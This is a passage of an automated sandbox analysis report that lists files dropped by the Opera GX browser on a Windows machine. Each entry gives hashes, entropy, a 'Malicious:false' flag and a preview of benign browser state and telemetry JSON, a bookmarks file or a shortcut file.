                                                                                                                                                                                                              SHA-512:73A9D22060F2F487466D1FCE19EF6C5467C5E7FF91B720DE3234A3F8D9B95101055DEE47EEEF586065BAB6FE6ACDEF4DB9CD18CD5177F7E615AC3D508F1EC3D3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:L..................F.... ......J......J...b.%0O.............................:..DG..Yr?.D..U..k0.&...&......Qg.*_....i.A.....&.J.......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=MY.C..........................3*N.A.p.p.D.a.t.a...B.P.1.....MY.;..Local.<......EW.=MY.C..........................[.-.L.o.c.a.l.....Z.1.....MY.C..Programs..B......MY.;MY.C............................].P.r.o.g.r.a.m.s.....Z.1.....MY<D..OPERAG~1..B......MY.CMY<D....9"......................A.O.p.e.r.a. .G.X.....\.2.....IY.k .opera.exe.D......MY<DMY<D.....S........................o.p.e.r.a...e.x.e.......k...............-.......j...........r0......C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe..H.....\.....\.....\.....\.....\.....\.....\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.\.o.p.e.r.a...e.x.e.2.C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.P.r.o.g.r.a.m.s.\.O.p.e.r.a. .G.X.............:...........|

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\00327b88-48b8-460b-8308-5e7719bb5c8f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3275)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3323
                                                                                                                                                                                                              Entropy (8bit):4.950271640699922
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F18C207D4D56D42260A5B780EF630246
                                                                                                                                                                                                              SHA1:8C4E1C3C546F869A42F58BDDE5DF1A90B6BA7441
                                                                                                                                                                                                              SHA-256:B63E9F10D0F1259FC91ED3A78CE7A2E8D690944D041A9BDE0537C675DCB959C4
                                                                                                                                                                                                              SHA-512:0CEA4F9B914BDF3C4AFEF53589A55B04A7B29E74B805A7242D41E0F339305C244FACD5AB3E7291DB3D32FCD7DAFC53CABE1B65EADB8FA2AA2853D5C4CEC8B4D0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// Lkjjogz4gsDWeHLl2/A5jpctHusLYoL3edyXSnarCY4=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Extensions":{"ActiveExternalExtensionsInfo":{},"ActiveWebstoreExtensionsInfo":{},"TotalCount":0},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-external","session-restore-attrib

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\00733924-875c-47a0-ac23-a48d59bbd5ce.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.734943584307686
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A316389351FAC31BC8F672C87ADCE79D
                                                                                                                                                                                                              SHA1:BED5AF12DB8B3DFF8EA81C12D472830ABD26C5FE
                                                                                                                                                                                                              SHA-256:9CC6CACFDD4476FD749DD7DF01DC511505838E609A2F146DFF9CD32DA4544A9B
                                                                                                                                                                                                              SHA-512:7A164E6C03FF180341241AE49729FEC54352F9581B2225DEB72D2200719DE64268E0D6FAF846ED4216C4F52961A253BCA1ACBE9D8BDC397292FC14F0934A6940
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// JHx2lhkwz+dg7PBiVj7hMPEw+RQD3jIzRw2behZ/HR0=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":2}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\0333cd8a-9507-41e6-806c-81a4e4040f9f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.751803897916794
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:67274A1FCDAF31D332BBE083CE035CEF
                                                                                                                                                                                                              SHA1:B73CABFA97332F817F69D5879EA125AA02EECA1A
                                                                                                                                                                                                              SHA-256:3C12876C92668B7DDA50C2F285667DD4BBECEB3D45292671FA698D5D70ED152A
                                                                                                                                                                                                              SHA-512:69FB1C558E2C8DE7668DEB22EAF53CB52D73EF94281EF11A5FCF99668BFDB7A8C838E188595742046F8B2DF86B2673A51A554295FCDA8693FCD8008D12ADD2EC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// FzZZbBNBtQyt6JPaZgJhYMr9gCfEv0yS8lipw3pobYQ=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\042a3cf6-f6b9-464b-b5be-f327c750f0ec.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1869)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1917
                                                                                                                                                                                                              Entropy (8bit):5.048287557855185
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0D8419F542CB3AFC59416D2A0A283393
                                                                                                                                                                                                              SHA1:273AAEA5A07A8B8EF013EBE146B5ED4D97BB951C
                                                                                                                                                                                                              SHA-256:05B222B4161EABD5931189E3FA440753499F3F9652CFD0B0FCD3F69C0C40BF25
                                                                                                                                                                                                              SHA-512:E030FCE8D127F4FE389B3C575D4700971462BF04044B6CEEB3C9976A237DB2420274B1DA8460DD7313D275C3A3B022977CEDD21B85E17549C14177151AA154A8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// RIY1xr8bLiF5Df+4hXFA2XS+M6F9duTWj583OhZInXo=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-impressions-reporting","run-at-startup-default","sd-suggestions-external","session-restore-attribution","side-profiles","sitecheck-age","tiktok-panel","ui-compositor-multithreaded"]},"InstallType

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\04d806bb-988f-41eb-a01b-47e46f65ce5f.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1399)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1447
                                                                                                                                                                                                              Entropy (8bit):5.733677686934868
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:93822D6A0C964DE765F1B011A484234B
                                                                                                                                                                                                              SHA1:B264DCB49975DC80CCAA286C8BB526B54100A042
                                                                                                                                                                                                              SHA-256:03B327E2C969A69FE61116D04390511C79BAAABA7470B779C2E6A2F4F8B39E71
                                                                                                                                                                                                              SHA-512:5AF4A832D809A7CABA0F76954F2E90FF02C3866910332658B4F7E68C92D5EF4F192F9BFF5CDE8BDC2E225CB9D1B7B75FC7FB1BB22CD5F0DC5EB6DFB22291C858
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// n7bZEZiu4Sof0JdJnrOa1rZokrmyDOSKQTDNT04BVDQ=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":2}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":3}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":2}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":2}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":2}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":3}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\0558cc27-2563-4990-a8fc-64924c1780ee.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1341)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1389
                                                                                                                                                                                                              Entropy (8bit):5.748103035919766
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:73FE3F97AA41EA695536FA5FC3330663
                                                                                                                                                                                                              SHA1:2F3027333BB36DE2249875981E75122C4CD315AB
                                                                                                                                                                                                              SHA-256:5EAF7EB0E85A2108C60C5571B448DC3D4A1D32721C4B7E461C0DD4E620DC225C
                                                                                                                                                                                                              SHA-512:325C1E008CE9DAF280D4C09A0E84EA0403948BEE38F1AA7C3F0384BEDB20A29523DFC40179EC0297E5E371DCACA2EAB78201322C80B94F97C05517B78E95BDB8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 3I1lUl2paIaBCknqrl8c+XaBHpiKyjxbWOlduroL0V4=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":2}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":2}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":2}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\05aac685-40ea-4a2c-aded-00d8593f34c4.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1232)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1280
                                                                                                                                                                                                              Entropy (8bit):5.732214549852599
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D3FEA542F8AC0E783A390CD3912CF5DE
                                                                                                                                                                                                              SHA1:4D7F02AC588DAA04CB5887209AD06277BC5D226B
                                                                                                                                                                                                              SHA-256:39F72E85ADF306BC04378CAAED250001542D984A73351403256238EF46885C74
                                                                                                                                                                                                              SHA-512:6A47483102C3CDAD87BC4DED12ECB9F475A44A7118A168FEC5E2488DCDB379053674D9ADF3A3137FAA4EB339C11DAA63F4DAA7C07FB535E91BDC3BF1314724DF
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// PKqcCwHzip2S1E8Ft9jQbgFksb+uQcMuRXmZP8JCV7k=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":1}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":1}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5LPYA/62dOiPE=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"I

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\0dcea421-0f25-4841-8641-94aca15cbaa0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.7104352441709585
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3B814316F1760E70047B38742CB8C402
                                                                                                                                                                                                              SHA1:ADF41FDCA0C740E879763937FF16274E6D0127C3
                                                                                                                                                                                                              SHA-256:5ACC9A342FEC881BD2BB727D7B457DE2F3BAA4159E97EB266D41EBE6BF5A0191
                                                                                                                                                                                                              SHA-512:6FBC46A8170E153C0E3B4E20017979F12B89B6400825206F94964DBAFF571E6421F499A0C54753860904C892E31D1B2B6EA39163DEA400AD23319EDC9A2CDCF1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// 5BPvzd579ZknXKevlNI7Mjw+LYZrgi0unm60jpRCrm0=.{"IsDefaultBrowser":true,"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":3},"SpeedDial":{"Actions":{"https://genshin.hoyoverse.com/":{"ULf6RzUReyIF3DsTSBz+klVPgs7WxlptRvakCmuNnPQ=":{"Impression":3}},"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":4}},"https://join.worldoftanks.com/":{"qIBBJq6Bg4eeWEmMreNSLuYl+eAxC4QHbBr58GEYRYA=":{"Impression":3}},"https://operagx.gg/makis-adventure-gx-sd":{"pQPYERLONGUfCLjvV6F/zAZdqaM+dT0GaHRmLZ90TBg=":{"Impression":3}},"https://turbotax.com/":{"BOr/n7CvonX97sdgoWPM1nn+J+R6WPwmgoNN7Gpt8wE=":{"Impression":3}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":3}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":4}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":3}},"https://www.instant-gaming.com/":{"cA2lwEw

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\0e72f4ee-8050-40f2-8169-4ab755dce3a9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (944)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):992
                                                                                                                                                                                                              Entropy (8bit):5.686572780866407
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6675BF5A6E2239CDE769C5DB648B9B6C
                                                                                                                                                                                                              SHA1:C2738EF5D92BA9B8ADA6BD2D95E12FF55E5D53CB
                                                                                                                                                                                                              SHA-256:2A06EFEF0D9233D022C70E8EFB951E1423DC70536E2818728D28BAF101469B17
                                                                                                                                                                                                              SHA-512:A1FBC060084A1D3FC60763C77E0F73507DB71356ABDBE96393990C426367151B624B8DDEA52EA198C64BDE7CCCBFD4F5DE6173E57331EDB1A08186D157068C46
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// Pkij8enOdOgAwVD/odZzEZayycs+w5WIirdTOWu5usk=.{"OSPMessageUUID":"c16e5b35-0452-41cf-96fa-9f506ac3ba3f","UI":{"Impressions":{"SpeedDial":2},"SpeedDial":{"Actions":{"https://gx.games/":{"Bsk2celBqa/DWIKjjlUHTnw1EIwWuH/wXQuQL3rrUuw=":{"Impression":1}},"https://www.amazon.com/":{"MZ8tVfo+iCV1JUfXTGlErSYO9B7R4iRwq51Xanv2SbM=":{"Impression":1}},"https://www.hero-wars.com/":{"yRMPkW82R/kbYaQS9Qh4/aHud0csN4XyrZRtEWLdho8=":{"Impression":1}},"https://www.humblebundle.com/":{"aBtKqdlwKnlsdXF0CZcOx/D7IIVKli6uU0Cf827kACo=":{"Impression":1}},"https://www.instant-gaming.com/":{"cA2lwEw6hf0i74WSE38/4rTXeogcnS5LPYA/62dOiPE=":{"Impression":1}},"https://www.twitch.tv/":{"Q8R0Kod6c9/H+i1tROyMeJm8kyTeZvYyChUrZvAjliY=":{"Impression":1}},"https://www.youtube.com/":{"Vr5ejLjQcpErr31xahnJSlXskHfMqZIa1pEIRlhJ35w=":{"Impression":1}}}}},"Updater":{"Diagnostics":{"Common":{"ScheduledTaskRunsCount":1,"StatSendingRequestsCount":1},"Process":{"Retries":1},"ScheduledTask":{"ScheduledTaskAlreadyRunning":1}}}}

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\0efdeb48-9841-4e24-9baf-382c392c65ce.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (3462)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3510
                                                                                                                                                                                                              Entropy (8bit):4.964876948635533
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7464FA36931AC1B14DAE498536A39294
                                                                                                                                                                                                              SHA1:209FCD50D7FD95961ABD9C079BE9D057D5C48E92
                                                                                                                                                                                                              SHA-256:5F3E448C4FCEEEDE74D69614C66CC1DF111C987336CE4621E913E0C1E8A0C81F
                                                                                                                                                                                                              SHA-512:84C9F071B67BEA3BE5B6257D1F9281E766F4E8D00786879E105470F0C1F2D602DADE4F30AD79B6F1B7165D039A148F41AC1D73016D11D01789DBB956CFEF3BB4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:// +g6bbW1JjjZalsSiDr46p3xFWY0Ne+C1nCs+rX2c9/I=.{"ABTests":{"Tests":{"DNA-112027":"DNA-112027-gx-mission-widget-off","DNA-99214_GXCTest50":"GXCTest50-ref"}},"Extensions":{"ActiveExternalExtensionsInfo":{},"ActiveWebstoreExtensionsInfo":{},"BlacklistedExtensionsInfo":{},"CVBlockedExtensionsInfo":{},"CVUnverifiableExtensionsInfo":{},"TotalCount":0},"Features":{"RemotelyEnabled":["address-bar-dropdown-autocompleted-domains:disabled","address-bar-dropdown-unfiltered-full:disabled","amazon-new-ids","capital-one-cashback-protection","cashback-assistant","continue-on-booking","continue-on-shopping-via-amp:disabled","continue-shopping","continue-shopping-2","continue-shopping-5","continue-shopping-structured-partners","feature-remote-disable-updates-testing-flag:disabled","feature-remote-updates-testing-flag","game-servers:disabled","gx-post-mortem","gx-reactinator","gx-spotlight","gx-video-to-phone","lucid-mode-hide-text","panic-button","password-generator:disabled","play-again","realtime-imp

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\0faf3161-5ee1-4844-86b8-1485334ca3d0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):20808
                                                                                                                                                                                                              Entropy (8bit):4.631600091635833
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DC5EA3803D41FB5F366464A8D544B45F
                                                                                                                                                                                                              SHA1:A8787FEAC0D51DFECB4D4C67D8D5A5D353A34CE2
                                                                                                                                                                                                              SHA-256:39A224C29CBB7DBFCCC8CEB4B6FFCF167CB17B63BA5B2247513212D487A279E0
                                                                                                                                                                                                              SHA-512:7A4F710FA5CC7F8F9309D0A067B02DEEC08914142A7BB773046D7F9798A8E5BFC4265D21E5AA75926F1D3E90B4EB2704B54398DEE51450A66539C88CA4EA984B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{.. "checksum": "dfc92d1e8125749d178f26bfd972aa6a",.. "roots": {.. "bookmark_bar": {.. "children": [ ],.. "date_added": "13373282048091764",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "0bc5d13f-2cba-5d74-951f-3f233fe6c908",.. "id": "1",.. "name": "Bookmarks bar",.. "type": "folder".. },.. "custom_root": {.. "pinboard": {.. "children": [ ],.. "date_added": "13373282048092464",.. "date_last_used": "0",.. "date_modified": "0",.. "guid": "00000000-0000-4000-a000-000000000907",.. "id": "7",.. "name": "Pinboard",.. "type": "folder".. },.. "speedDial": {.. "children": [ {.. "children": [ {.. "date_added": "13373282056556243",.. "date_last_used": "0",.. "guid": "61d90d03-c8a5-47d7-b977-0cfeb2860342",..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\108bf271-04b2-45ad-b369-c96a7181f7f9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (1467)
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1515
                                                                                                                                                                                                              Entropy (8bit):5.713557237277245
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3E8FC29BE939462A01CA9EE8C8BAED78
                                                                                                                                                                                                              SHA1:E69142D7131E548292CE4580492F53B63DDD07ED
                                                                                                                                                                                                              SHA-256:82399B39134CC5E3078338F4019D4A77C896E2A6F4942895746AF1DF3EF15E4C
                                                                                                                                                                                                              SHA-512:10637DC1D6498B3852F7084AE31982B29833FFE738D4CC15C4ABC8EF436C9EEC1938EB92F43484B520493B0F6ADF95305137F81732CE3F6C5848D8F1D829054C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
